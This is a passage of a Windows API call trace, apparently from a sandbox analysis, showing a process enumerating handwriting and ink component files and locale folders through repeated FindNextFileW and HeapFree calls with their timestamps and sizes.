ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0243.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.310] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0243.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.311] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0243.312] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.312] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0243.315] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.315] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0243.315] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.316] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0243.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.317] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0243.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.317] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0243.319] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.320] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0243.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.320] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0243.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.320] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0243.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.320] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0243.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f77ff8 | out: hHeap=0x630000) returned 1 [0243.322] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0243.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.322] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0243.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.323] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0243.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.323] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0243.323] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.323] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0243.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f67ff0 | out: hHeap=0x630000) returned 1 [0243.324] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0243.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.331] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0243.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.332] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0243.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.332] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0243.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.334] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0243.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.337] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0243.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.337] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0243.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.338] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0243.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.343] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0243.343] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9558, Size=0x4000) returned 0x3f7c000 [0243.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.343] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0243.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.343] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0243.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.344] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0243.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.346] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0243.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.346] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0243.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.348] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0243.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.348] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0243.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.350] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0243.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.351] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0243.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.351] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0243.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.351] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0243.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.353] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0243.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.353] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", 